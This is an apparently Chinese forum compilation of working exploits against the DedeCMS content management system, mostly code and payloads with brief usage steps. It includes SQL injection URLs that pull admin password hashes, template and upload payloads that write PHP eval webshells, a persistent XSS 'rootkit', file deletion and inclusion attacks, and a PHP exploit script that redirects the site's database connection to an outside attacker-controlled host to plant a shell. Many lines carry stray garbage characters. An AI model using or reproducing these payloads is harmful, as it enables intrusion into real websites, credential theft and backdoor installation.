dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
# s: m! G, \. @; _8 l" F% [& `* zhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
& _3 J# N, [) @% j3 w' Y发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


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' N5 R9 ^5 b9 M; Z6 ~; y7 dDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
) A8 x- X) k" ^7 H9 Q' X0 fhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
) }: g% C. L: I* o/ o( t. ohttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
$ d# B( L3 n' J; x3 w6 uhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`



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- C. F  Z- t& Y5 BDEDECMS 全版本 gotopage变量XSS漏洞
5 p  U: U8 s3 ]! U6 q$ k* v, l8 S1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

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% z3 \" s! |  a. o4 L3 K) T2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
4 \! W9 C) l) U6 |9 j3 n8 X- `http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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" n+ z2 P- t8 ?" c; Vhttp://v57.demo.dedecms.com/dede/login.php
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+ j2 j4 m5 y' {color=Red]DeDeCMS(织梦)变量覆盖getshell
$ p% f7 d2 p; P# p' C#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
5 l! U1 C8 {/ m2 ]/ H4 y% pset_time_limit(0);
print_r('
5 S4 S" s6 }9 P! G1 i- Q3 h* aDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
# e+ `7 u2 ^! @php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
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8 _$ v& D+ }( c4 x& t, bexit;
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% }! {7 ^* T8 c7 Y$url=$argv[1];
) Z' R7 h8 Q4 _0 {: [$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
. R. @  @2 g+ I2 t5 i) Iecho "
: ?9 _* q: N# B( a$ @# k  {, uExploit Success \n";
if($aid==1)echo "
  W' A2 V0 [8 H) V4 D8 p8 lShell:".$url."/$path/data/cache/fuck.php\n" ;


if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
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$ m% j" e1 u: A$ Z: g) Jif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
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}else{
0 }& v* G: \+ b, [* ?( \echo "
Exploit Failed \n";
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function Getshell($url,$aid,$path){
/ [3 J1 Q6 q( G, \* b$id=$aid;
; I# t( N5 j/ W% j$host=$url;
2 z% m: {2 c. q1 t6 ]5 {$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
+ }+ O' f1 E6 H  G6 S$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
7 j* m3 D: o9 X$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
' ~) i" L" a. l% C: N/ f$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
9 G0 p8 ?5 L2 c/ c3 y//$data .= "Accept-Encoding: gzip,deflate\r\n";
' L% {! O2 ?- m& @$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
( g8 |& W! r" z% B" N/ [$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
2 p5 @1 v, G) O5 F6 U" m% A5 Y$data .= $content."\r\n";
2 E, n! H+ G) t0 J$ock=fsockopen($host,$port);
if (!$ock) {
echo "
2 q6 B7 B! y0 q0 V' @9 Q% L  D) lNo response from ".$host."\n";
& L! p$ ~4 H0 _8 M  d}
6 t! ]! B3 M# {, g% G* A1 Hfwrite($ock,$data);
, S$ I* k9 r7 C1 j5 g. r6 H, N& Q7 hwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
' ~5 j0 R3 \3 t3 O* X$ }$ q3 Freturn $exp;
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?>
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. j& i! u! ~- M! ^0 LDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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; a( [0 w% D! P4 K' k把上面validate=dcug改为当前的验证码，即可直接进入网站后台


此漏洞的前提是必须得到后台路径才能实现
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# n* i1 v3 J- f6 kDedecms织梦 标签远程文件写入漏洞
. G/ d: [- e; h* C+ H8 M- _前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


' V. {: g; R4 M  l' a( h0 R再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
( e6 z( t( H8 Q  F<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
) k7 v8 x& U1 H% v8 Q! A<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
5 V. U* P7 r3 V% t! D2 Y  W/ d0 ]! U<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
7 v- `' w4 g0 Y8 D<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
4 q& @' e7 k/ V* s0 g<script>
function addaction()
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document.QuickSearch.action=document.QuickSearch.doaction.value;
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</script>

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  W6 u. c1 \7 x( IDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
: n: b6 B$ p2 x) K' f8 |( z1 }a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
) S, B2 x& _6 R; h生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
! D5 D. e" s! a# D, j3 E, n注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
5 `8 A+ z6 {6 b9 b7 a9 H% ?$ C@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
! _! }! i! O; }, [( @( t4 T; A1 r$ E2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
% F2 @) c1 ?. s4 t0 S: [# L( `0 y5 K<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
4 J1 N5 b- v3 w7 @<input type="hidden" name="channelid" value="1" />
+ _/ `+ P' U( I. @) `0 B* `2 n! v/ B<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


<div id="mainCp">
: g3 H: u* Z8 c6 N<h3 class="meTitle"><strong>修改文章</strong></h3>
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<div class="postForm">
) s+ z# M4 j9 D$ C$ H/ ]/ v$ V<label>标题：</label>
+ o) x0 t2 F' X& n<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

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<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


% [$ n2 \) W+ b8 `<label>作者：</label>
4 ]7 u7 r+ _1 v2 R! Q: P2 a<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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<label>隶属栏目：</label>
% Q/ K: |+ e* H9 P<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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8 q! Q7 N9 o% D<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
7 J, s( c* O$ a0 }  R  R: _2 A</select>


# [/ X9 z  D$ A8 [& i& P<label>信息摘要：</label>
! _4 E7 K5 U. r# X, z<textarea name="description" id="description">1111111</textarea>
  R* J! g: K6 V& n" V" {' V8 c(内容的简要说明)
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<label>缩略图：</label>
! \$ g9 x# L0 ~& _' ^5 M<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

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* ~9 B& b, m' q8 j<input type='text' name='templet'
& X4 s; E7 A' uvalue="../ uploads/userup/2/12OMX04-15A.jpg">
/ Y, H* _* w0 V- g; F0 ?9 B! p  E<input type='text' name='dede_addonfields'
! e+ u1 i9 f$ H) }  fvalue="templet,htmltext;">（这里构造）
</div>


<!-- 表单操作区域 -->
+ k, u  W6 B* p( s- E. s9 T2 A<h3 class="meTitle">详细内容</h3>


% o: J0 c: ]6 j  n( \5 h<div class="contentShow postForm">
+ f8 W3 A/ A4 s, K<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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6 p: H; B  P5 K5 t<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
( Q/ m! I. Y! N) `8 O<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


" t- m& m) m$ F) t! O. [$ C<button class="button2" type="submit">提交</button>
/ o9 f" L5 P9 A<button class="button2 ml10" type="reset">重置</button>
; V) i  G* X* W' {- M</div>
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</div>


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/ p' K, T0 h8 R提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
0 Y2 n' c5 e. KGif89a{dede:field name='toby57' runphp='yes'}
: b4 }9 m/ \1 M7 Ophpinfo();
{/dede:field}
  z3 R+ }+ y5 O  _保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
9 }& I2 A9 X- F9 ~, `<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
9 Q) G* b; H( J- g<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
! p4 f2 e/ `; P- |" y/ C; p& I<input name="addonfile" type="file" id="addonfile"/>
1 y1 r$ F, D& G2 y* N/ G<button class="button2" type="submit" >更改</button>
* c8 m# C- p9 U3 U. I8 @</form>
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) A! J5 `0 r: y: x构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
' N6 \# V4 n! a9 }; v( ^<input type="hidden" name="dopost" value="save" />
' J+ T+ g+ w7 E; c+ L<input type="hidden" name="aid" value="2" />
% G- @' Y6 u0 ~% U. F1 l9 ~1 g<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
) F" G4 ~1 E" c. z+ [2 a  s* ~<input type="hidden" name="channelid" value="1" />
. @. C- j# W: f<input type="hidden" name="oldlitpic" value="" />
: d6 n# p% v- z$ x<input type="hidden" name="sortrank" value="1282049150" />
) g4 {& a  d. \3 j7 X" m$ C6 p<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
% b8 |$ H: H% M* X. L<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>

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2 |" |& {2 }$ E7 a6 J: q织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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) a+ i' m: m0 W  ^% t* Y织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
/ B5 }4 z& \% n  q, I3 ihttp://www.test.com/plus/carbuya ... urn&code=../../
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* k8 ?0 m& X% T8 t' W4 ZDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
) f0 ~: x1 p' z  Aplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='






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. T, N0 ]' \! `/ U织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
( F3 U* r8 H; S  Y( l' j<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
9 p& ~6 W5 W6 c- K0 A</head>
<body style="FONT-SIZE: 9pt">
2 w4 A: F" t+ D0 S/ G---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
3 w% B: }; ]1 I3 B1 D! u% |<input type='hidden' name='activepath' value='/data/cache/' />
: c  I! @1 w$ n$ ?8 V<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
0 |9 n5 P* o0 \% \<input type='hidden' name='cfg_not_allowall' value='txt' />
: r9 A1 |; ~; [5 ?* h# H<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
2 Z  _8 k! _" D0 ]<input type='hidden' name='f' value='form1.enclosure' />
- {, F; C( P9 I5 N. v" W<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
$ D( l' |$ |; R<input type='submit' name='sb1' value='确定' />
: L# Y& i# Z* N$ _9 Y</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
8 A# _5 J& Q9 l( Z( g+ a) tNeed register_globals = on...<br />
# |1 I* E2 x; H% T6 dFun the game,get a webshell at /data/cache/fly.php...<br />
3 N$ V' J. _6 D3 H, u</body>
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利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
' a( ]# J- Y' ?8 F. f5 r1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
3 I3 Q/ y! J  m9 h; }  S& t可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
$ W2 D4 m, i# p- m8 ^' s% I/ {int(3) Error: Illegal double '1024e1024' value found during parsing
  [5 o* e$ j8 e; T9 \- E% @Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
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8 a) v1 b% N7 F9 g3 C<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

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按确定后的看到第2步骤的信息表示文件木马上传成功.

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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
9 F# Z3 o. @9 P/ |7 @http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*